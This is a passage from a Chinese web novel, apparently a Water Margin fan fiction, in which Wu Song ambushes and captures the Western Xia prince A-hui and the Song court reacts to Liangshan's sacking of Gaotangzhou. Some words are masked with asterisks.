监军使马颂担忧皇帝李乾顺责罚,阿惠心里当然也清楚。
可是他已经没有更多选择了,这次的苦肉计是他最后的计策。
“不管那么多,先回军司再说,若兀卒还要罚我,只能认了。”
阿惠叹息,马颂也不再多言,带着兵马往西南方进发。
...
兴庆府。
嵬名令派出的信使星夜兼程,八百里加急,一天一夜便到了皇宫。
奏报直接呈送到皇帝李乾顺手里。
看完后,李乾顺大怒,骂道:
“阿惠混账东西,这时候分兵离开,他想做甚!”
“传旨,褫夺阿惠兵权,将卓罗和南军司交于嵬名令统领!”
太监匆匆传旨枢密院,枢密使香都得知后,心中叹息:
到了此时,献王居然如此不顾大局。
枢密院出了文书,香都送到李乾顺手里,李乾顺当即盖了玉玺。
文书交给信使,立即送往西寿保泰军司。
一天一夜的时候,信使回到军司,把文书送到了嵬名令手里。
得到文书,嵬名令松了口气。
“把万保、重贵叫来。”
两人很快进来,嵬名令说道:
“兀卒旨意到了,命我接管卓罗和南军司,我这就带人去追。”
“这边营寨,还请两位看着,等我回来。”
重贵说道:
“阿惠那厮只怕不肯交出兵权。”
“我有圣旨在手,他岂敢不交。”
万保、重贵答应了,嵬名令当即点了几十匹快马,火速往西南追赶。
阿惠带领的七万兵马,除了马军,还有许多擒生军和步跋子。
阿惠心中焦急,命令军队全速赶路,但速度依旧快不了。
紧走慢赶两天,已经走过敷川。
天上烈日当空,地面烤得火辣辣,人马干渴难耐。
阿惠担心嵬名令来追,下令军队不许休息,全速往回走。
大军稀稀拉拉延绵十几里,前方行军也没有派出斥候探路。
亲卫拿出水囊,阿惠猛地灌了两口,擦了擦额头的汗珠。
因为天气炎热,所有人都把铠甲脱了,阿惠、马颂也只穿着单衣。
马颂往回看了一眼,说道:
“嵬名令似乎并未赶来。”
阿惠心中仍旧不踏实,说道:
“回到军寨才算安稳,那厮必定觊觎我七万兵马的。”
前方是一个谷底,路边有几棵树。
阿惠望见大树,说道:
“且到前头歇脚,遮阳歇息。”
到了谷底,阿惠下马,在树下坐下来。
亲卫拿出扇子伺候,又拿来水囊倒水。
马颂环顾四周,心中突然涌起一股危机感。
此地两侧有山,如果伏兵,谁都逃不走。
转头看向身旁的树,却见树皮被削去,上面写着一行字:
阿惠死于此树下!
马颂吃了一惊,大叫道:
“不好,有埋伏!”
阿惠吃了一惊,水呛住了咽喉,剧烈咳嗽。
两边山上突然响起锣鼓声,数万身穿红色军服的骑兵突然杀出。
“不好,走!”
阿惠吓得丢了水囊,翻身爬上马背,仓惶逃跑。
马颂带着亲卫拼死护佑。
山脊上,武松提着一杆枪,静静看着大树下逃跑的阿惠。
武松统领的四万兵马都是骑兵,速度快。
今天一早,武松抵达山谷附近。
这里是回卓罗和南军司的必经之路,武松在此设伏。
骑兵埋伏在两侧,居高临下,正好冲锋。
等到阿惠进入埋伏圈后,武松下令杀出。
四万骑兵从两侧同时杀出,喊杀声顿时震动天地。
卢俊义在对面,带着燕青已经杀入山谷。
杨志带着骑兵从这边冲入山谷,南北两侧实现合围,西夏兵马无处可逃。
扈三娘带着李二宝堵在山谷出口,不让西夏兵马逃跑。
战斗一开始,便是单方面的**。
西夏兵马连续赶路两天,已经疲惫不堪。
武松以逸待劳,骑兵休息了半天,精力充沛。
加上居高临下冲锋,西夏士兵瞬间血染尘土。
卢俊义提着**一路冲杀,燕青紧随其后,手中**机百发百中。
杨志提着宝刀,砍瓜切菜似地杀入敌阵。
西夏士兵来不及披甲,就被大宋骑兵刺杀。
阿惠在护卫簇拥下仓惶往西奔逃,马颂冲在最前面,手中**杀出一条血路。
冲杀到谷口时,却见扈三娘提着日月双刀杀来:
“哪里走,等你多时了!”
“**敢
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拦我!”
马颂大怒,提着**杀去,扈三娘舞着双刀厮杀。
马颂是阿惠手下大将,武艺不俗,一杆**使得毒辣,扈三娘杀了十几个回合不见胜负。
阿惠见状,喝令护卫突围。
护卫拼死往前冲杀,李二宝见了,提着刀杀向阿惠。
见李二宝杀来,阿惠大怒骂道:
“未断奶的娃子,也敢来阻拦本王!”
阿惠拔出佩刀,和李二宝厮杀。
几十个护卫冲来,李二宝不敌,转身就走。
垂耳佛李吉见李二宝不敌,连忙带着破阵营过来支援。
阿惠的亲卫都是精锐,破阵营虽然全力阻挡,却仍旧**出一条路。
眼见就要杀出重围,却见南面山上冲下一魁梧巨汉,坐下一匹乌溜黑的战马,手里一杆**。
来人不是武松,又是哪个!
“王爷,武松在此等候多时了!”
见到武松,阿惠肝胆俱裂,大叫道:
“天亡我!”
马颂正与扈三娘缠斗,见到武松杀下来,慌忙撇了扈三娘,提**向武松:
“武松莫猖狂,我来杀你!”
马颂策马狂奔而来,武松冷笑,正面迎向马颂。
两杆**互刺,武松一枪荡开,两马交会,武松后仰,使出一招回马枪,正中马颂后心,马颂惨叫一声,跌落下马。
扈三娘赶来,正好一刀斩下马颂首级。
阿惠见状,正要逃跑,李二宝堵住路口,呵斥道:
“哪里走!”
杀了马颂,武松回到谷口,笑盈盈看着阿惠:
“王爷,下马受降,我饶你不死!”
阿惠走投无路,只得下马,跪在地上:
“饶我性命!”
阿惠投降,护卫也纷纷放下刀枪。
谷内的厮杀还在继续,扈三娘大喊:
“阿惠投降了,还不放下兵器!”
周围还在抵抗的西夏兵卒纷纷丢下兵器。
战斗渐渐停歇,除东边还有一些逃跑的,其余都被斩杀,或者投降。
卢俊义策马过来,大喜道:
“二郎神机妙算,好一场厮杀。”
杨志策马过来,问道:
“二郎,还有数万俘虏,押回西安州么?”
武松看着阿惠,说道:
“押回去吧,也请王爷动身,随我到西安州吃酒。”
阿惠无可奈何,只得爬上马背,跟着俘虏往东走。
第231章 嵬名令求援,高唐州被破
战场打扫干净,全军立即回程。
垂耳佛李吉回到武松身边,看着被俘虏的阿惠,心中暗道:
阿惠堂堂王爷,也成了武松的阶下囚,我已草贼算甚么东西。
跟着武松,前程必定好过当马贼。
李二宝缴获了两袋酒,拿出一袋给李吉。
李吉接了,笑呵呵尝了一口,感觉滋味很好。
白石子三人环绕在武松周围,心里的想法更多。
翔庆军被破了,献王阿惠也被破了,武松就是英雄汉,跟着武松没有错。
不说武松往回走,嵬名令从军司出来,带着几十匹快马往西追赶。
追了一天,见到前方出现一队人马,心中暗喜道:
阿惠这厮并未走远,总算他心里还有大夏朝廷。
跑到近前,嵬名令傻眼了。
只见这些兵马仓仓皇皇、丢盔弃甲,一看就是败兵。
嵬名令抓了几个询问,才知道阿惠中了武松的埋伏,七万兵马只回来一万多步兵。
献王阿惠生死不知,骑兵全部没了。
嵬名令长叹一声,大叫道:
“死有余辜!”
收拢逃出来的败兵,嵬名令当即转身回军司。
又走了一天多,嵬名令回到西寿保泰军司。
重贵见嵬名令只带了一万多步兵回来,怒道:
“阿惠那厮不识大体,只给了这些步兵,顶甚么用处!”
其他监军使也以为阿惠只给一些杂兵,大骂阿惠混账东西。
嵬名令抬手叹息道:
“阿惠在敷川西面山谷中了武松的埋伏,只剩下这些兵马。”
听了这话,所有人顿时哑然。
祥佑军司监军使万保惊愕道:
“武松如何知晓...”
话刚出口,又觉得理所当然。
阿惠七万兵马离开,很容易被侦察到。
嵬名令叹息道:
“阿惠咎由自取,且不说他。”
“武松率领数万马军离开,为何斥候不知晓?”
这话问得在场众人默然不语。
之前的主帅是阿惠,斥候也由阿惠负责。
嵬名令到了以后,斥候便由嵬名令负责。
没有侦察到武松的动向,责任也是嵬名令的,不关他们的事。
“何人统辖斥候?”
嵬名令喝问,重贵说道:
“原先是阿惠...”
嵬名令明白了,说道:
“将斥候官找来。”
很快,斥候统领进来。
嵬名令说道:
“自今日起,你们需日夜不断盯着武松,早中晚须向我禀报三次。”
“明白。”
“若武松再有动向,你等未曾察觉,定斩不饶!”
“遵命!”
斥候官退出,立即增派人手盯着西安州的动静。
万保说道:
“阿惠的兵马只剩下一万步跋子,如今我们只有十五万兵马。”
“若要赢武松时,须向兀卒禀报,再调兵马助阵。”
嵬名令点头道:
“我知晓,我自会上奏。”
众人散去,嵬名令写了一封奏报,火速送往兴庆府。
...
西安州。
武松率领四万骑兵回城,同时押解回来的还有三万多俘虏。
赵楷出城迎接,大喜道:
“二郎又破了阿惠兵马,可喜可贺!”
张吉笑道:
“又是一桩好大的功劳。”
鲁智深、史进几人走出来,见到被俘虏的阿惠,心中惋惜。
鲁智深摸着脑门道:
“干呆么,早知有大战,洒家便与二郎同去。”
史进也感觉惋惜,没有跟着武松同去。
好大一场厮杀,就这么错过了。
种师道、种师中两人出来,见武松又立了一桩大功,心中感慨。
种师道走过来,赞叹道:
“武宣抚百战百胜,用兵如神。”
“老相公过奖,不过是取巧罢了。”
“老夫也想如此取巧,奈何没有这等本事。”
武松笑了笑,对种师中说道:
“晚辈有事情想托付小相公。”
“你吩咐便是。”
武松说道:
“阿惠兵马被我破了,此时卓罗和南军司空虚,我想请小相公占据军寨。”
种师中捋了捋胡须,说道:
“二郎好计策,我须两万兵马才能守住。”
“我与小相公怀德军、镇戎军本部军马,再加熙州兵马。”
“若得如此,我定能守住。”
“劳烦小相公当下便走。”
“好。”
种师中没有啰嗦,当即点了怀德军、镇戎军和熙州兵马,共计三万多出发。
先从西安州到兰州,再从兰州北上占据卓罗和南军司。
这样做是为了稳妥,防止进入西夏境内被伏击。
打了大胜仗,城内杀马宰羊庆祝。
何运贞写了一封捷报,武松、赵楷两人看过,盖了章子,连同献王阿惠,一起押解送往京师。
种师中离开西安州后,西夏斥候马上发现了,立即禀报嵬名令。
听了后,嵬名令马上判断出种师中的意图。
万保也看出来了,担忧道:
“卓罗和南军司居于河西咽喉之地,被他占据后,西面音讯断绝,不可不守!”
西夏都城兴庆府与西边各军司、城池之间,隔着腾格里沙漠、巴丹吉林沙漠。
兵马和商队都无法穿越沙漠。
与西边的联系,须从兴庆府先到卓罗和南军司中转,然后再往西北进发。
卓罗和南军司一旦被大宋占领,
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等于把西夏拦腰切断,失去了与西边的联络。
西河西走廊路线图,种师中进兵路线图
正因卓罗和南军司重要,所以才让献王阿惠镇守,并且有七万常驻兵马。
嵬名令当然知道厉害,可是如今本就兵马不足,如果分兵去攻打,武松可能趁机进攻西寿保泰军司。
甚至,武松可能故技重施,再来一次半路截杀。
“我已上奏兀卒,调集白马强镇军司、右厢朝顺军司兵马到此地集结。”
“只需破了武松,种师中自退。”
“若是武松还在,便是夺回卓罗和南军司,也是徒劳之功。”
嵬名令有了决断,万保不好多嘴,毕竟嵬名令是统军使,他们都听令行事。
...
京师。
一队人马匆匆进了城门,直奔高俅府邸。
大门敞开,为首一人仓惶进门,正好高俅出来,两人撞个满怀。
“太尉...”
高俅仔细看了,问道:
“噫,你不是高唐州的通判么?”
“你不在高唐州,来我这里作甚?”
来人正是高唐州通判王锦。
“太尉,高唐州被梁山贼寇破了城,知州髙廉相公被一刀斩了,一家老小良贱三四十口全都斩了脑袋。”
高俅一听,顿觉天旋地转,险些栽倒。
“兄弟啊...”
高俅大叫一声,高衙内听到动静,匆匆跑出来,问怎么回事?
通判王锦将事情原委说了:
高俅有个堂弟,唤做髙廉。
这髙廉靠着高俅的关系,在高唐州做知州。
髙廉的小舅子殷天锡看中了柴皇城的宅子,带人强占宅子,殴打柴皇城。
这柴皇城又是小旋风柴进的叔叔,是前朝北周的皇族。
柴皇城受了气,请侄子小旋风柴进做主。
柴进带着李逵到了高唐州,正好遇见殷天锡,一怒之下当场打死。
小舅子**,髙廉大怒,把柴进抓了要杀掉。
宋江知道后,带人攻打高唐州,营救柴进。
两边激烈交战,髙廉还用了妖法,却被入云龙公孙胜破了,自己**翅虎雷横一刀腰斩。
随后,宋江入城,救了柴进,把髙廉一家老小全部杀了。
通判王锦趁乱逃脱,回到京师找高俅通风报信。
听完后,高衙内大叫一声:
“爹呀...”
高衙内不是高俅的亲生儿子,是过继的侄子。
高衙内的生父不是别人,正是髙廉。
听闻亲爹**,高衙内放声大哭。
高俅缓过来,大骂道:
“梁山贼寇,杀我兄弟,我这便进宫,剿灭梁山贼寇!”
高俅也不换衣服,穿着便服钻进轿子,匆匆进宫告状。
第232章 围剿梁山,我懂道法
此时天气炎热,徽宗正在延和殿作画。
童贯陪在身边,太监杨戬拿着扇子扇风,侍女站在旁边,手中拿着冷饮。
皇家有专门的冰窖,夏日有冰镇冷饮。
不仅如此,宋代也已经有了硝石制冰的法子。
作为皇帝,徽宗自然不会惧怕暑热。
“圣上...”
门外一声号丧,徽宗手中画笔微微一抖,整幅画作废了。
徽宗将画笔丢在地上,不悦起身。
便看见高俅撞进来,跪在地上嚎啕大哭:
“求圣上与微臣做主...”
徽宗甩了甩袖子,不悦道:
“你已是太尉,有何事要我与你做主?”
高俅抬起头,大哭道:
“梁山贼寇攻陷高唐州,杀了我兄弟髙廉。”
“他一家老小几十口,都被梁山贼寇斩了。”
徽宗悚然一惊,童贯、杨戬也是大吃一惊。
他们整日里高唱太平盛世、明君圣主,堂堂一个知州,居然被贼寇斩了、城池被破了?
“何时的事情,我为何不知?”
徽宗大惊,高俅说道:
“那梁山贼寇的首领叫晁盖、宋江,都是江湖亡命之徒。”
“前者太师的生辰纲,便是被他们劫走。”
“还有江州劫法场,梁山贼寇杀了数百人,太师的儿子也险些遭了毒手。”
徽宗越听越觉得奇怪,问道:
“江州劫法场?太师怎从未提过?”
童贯、杨戬都不作声。
这个事情他们其实知道,蔡京也知道,只是瞒着不说。
写反诗的宋江在刑场上被救走,还杀了数百官兵、百姓,此事罪责太大,蔡京不许其他人说。
“把太师找来!”
徽宗传旨,蔡京很快进来了。
跟在后头的还有蔡攸。
上次武松写信,把蔡攸骂了一顿,说他没用,看不住老狗蔡京。
蔡攸不服气,现在只要蔡京进宫,他就跟着。
“太师,梁山贼寇在江州劫法场,你可知晓?”
蔡京愣了一下,回头看蔡攸,以为是蔡攸告状。
“你看我做甚?”
蔡攸不服,他没有说。
“不是直学士说的,是太尉说的。”
蔡京看向高俅,心中奇怪,他们是一伙的,高俅干嘛告状?
高俅说道:
“太师,梁山贼寇攻破了高唐州,杀了我兄弟。”
“我要请旨发兵,荡平梁山贼寇,与我兄弟报仇!”
蔡京听了,这才说道:
“原本以为是小小贼寇,不曾想如此胆大包天。”
“攻破城池,擅杀朝廷命官,请圣上发兵剿灭。”
童贯在旁边看着,心中不断思索:
武松那厮在渭州屡立大功,我赢不得西夏,难不成杀不过区区草寇么?
梁山贼寇破了高唐州,我若荡平梁山贼寇,这泼天的功劳便是我的。
到那时,武松有军功,我也有。
想到这里,童贯说道:
“圣上,梁山贼寇无法无天,不剿灭他们,朝廷纲纪法度何在!”
“奴才愿意领兵征剿梁山贼寇,定要荡平梁山。”
蔡攸看出童贯的企图,知道他想立功。
蔡攸正在争权,想控制枢密院,哪里会给童贯这立功的机会。
蔡攸说道:
“枢密使这话不妥当,区区草寇,枢密使亲自征伐,倒跌了我朝廷脸面。”
“我以为,只需派遣地方兵马征剿即可。”
童贯还想争,徽宗已经发话,问道:
“你以为派谁去为妥当?”
“汝宁郡都统制呼延灼乃大将之材,赐封他为招讨使,定能立功。”
“准奏。”
徽宗定了,蔡攸喜滋滋回枢密院签押文书。
徽宗看着毁掉的画,惋惜道:
“若是武松在,当可挽救此画。”
高俅爬起来,擦了眼泪,心中想着派遣数万兵马,应该足以荡平梁山泊复仇。
至于童贯的心思,高俅懒得管。
高俅和蔡京、童贯虽然是一伙的,但各自也有算盘,不是铁板一块。
...
西安州。
送家书的信使回到城内,将潘金莲的回信呈上。
武松拆开看了家书,又从匣子里拿出潘金莲寄过来的肚兜。
离家很久了,武松也想潘金莲她们。
扈三娘很好,但不如潘金莲、李瓶儿懂风情。
拿出十两银子赏了信使,武松走出房间,李吉、李二宝两人正跟着王进学枪棒。
李吉这厮自从归顺后,对武松倒是极为忠诚。
因为读过书、考过科举,学东西也比李二宝快。
戴宗、时迁两人走过来。
时迁说道:
“哥哥,我到西寿保泰军司找了布雅,那厮不肯归降。”
武松笑道:
“你去找他两次,他肯放你归来,便是有心思。”
前天,武松派时迁走一趟,又给布雅送了一封信。
布雅看完信以后,还是没有答应投降。
但是,也没有对时迁怎么样。
这说明布雅在给自己留后路。
“哥哥说的是,布雅跟我说,嵬名令带了一个番僧,唤作天息灾
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的。”
“据说那番僧会妖法,哥哥须小心他。”
天息灾抵达军司后,便在营寨里待着。
嵬名令也有意隐藏,所以武松不知道。
听布雅这样说,武松警觉起来。
这个世界融合了水浒,会妖法的人很多。
且不说108将是从龙虎山天师府放出来的天罡地煞,戴宗会神行术,入云龙公孙胜会道法,高俅的弟弟高廉也会妖法。
所以,那个番僧天息灾应该真的会。
武松心中暗道:
在清河县张大户庄子外时,天师张继先传我正一雷法。
虽一直修炼,却没有甚么效果。
直到娶了庞春梅,丹田内才隐隐有雷动。
可要我引动天雷,却是做不到。
若是对上那妖僧,只怕要吃亏。
这几天,武松正在筹划主动西寿保泰军司。
翔庆军没有了,阿惠的兵马也没有了,西寿保泰军司只有十四万兵马,精锐很少。
武松如今手里有二十一万兵马,精锐十一万,处于优势。
嵬名令肯定会请求增派兵力,在援军集结前,先打一场主动战,破了西寿保泰军司。
但是听到这个消息,武松觉着须谨慎行事。
“可惜...若是入云龙公孙胜在我麾下,便不用惧怕他。”
武松喃喃自语。
入云龙公孙胜学过道法,能用五雷天罡正法、呼风唤雨、召唤神将,如果有他帮忙,事情就好办了。
派人去挖墙脚?
不太现实,公孙胜和晁盖关系好,是梁山泊的原始股东,很难撬动。
要不要去一趟龙虎山?
找天师张继先学法术?
正想着,何运贞、欧阳雄走过来。
欧阳雄这人一开始有点讨厌,但到了军队里,相处久了,何运贞跟他关系还不错。
“哥哥,何时进攻西寿保泰军司,小弟与你同往。”
“你一文弱书生,留在营寨守着便是,你去做甚!”
何运贞又开始怼欧阳雄,武松正烦躁,说道:
“嵬名令找了个妖僧,据说会妖法,只怕不利。”
时迁说道:
“我刚从军寨回来,寨内有个番僧,唤作天息灾的,能使妖法,却是难对付。”
听了这话,欧阳雄惊喜道:
“消息果真?”
“探花郎,我时迁打探的消息自然是真的。”
欧阳雄喜道:
“哥哥何须怕他,小弟也懂道法。”
武松吃了一惊,何运贞不悦道:
“休要扯鸟屁,你读圣贤书,何时学过道法?”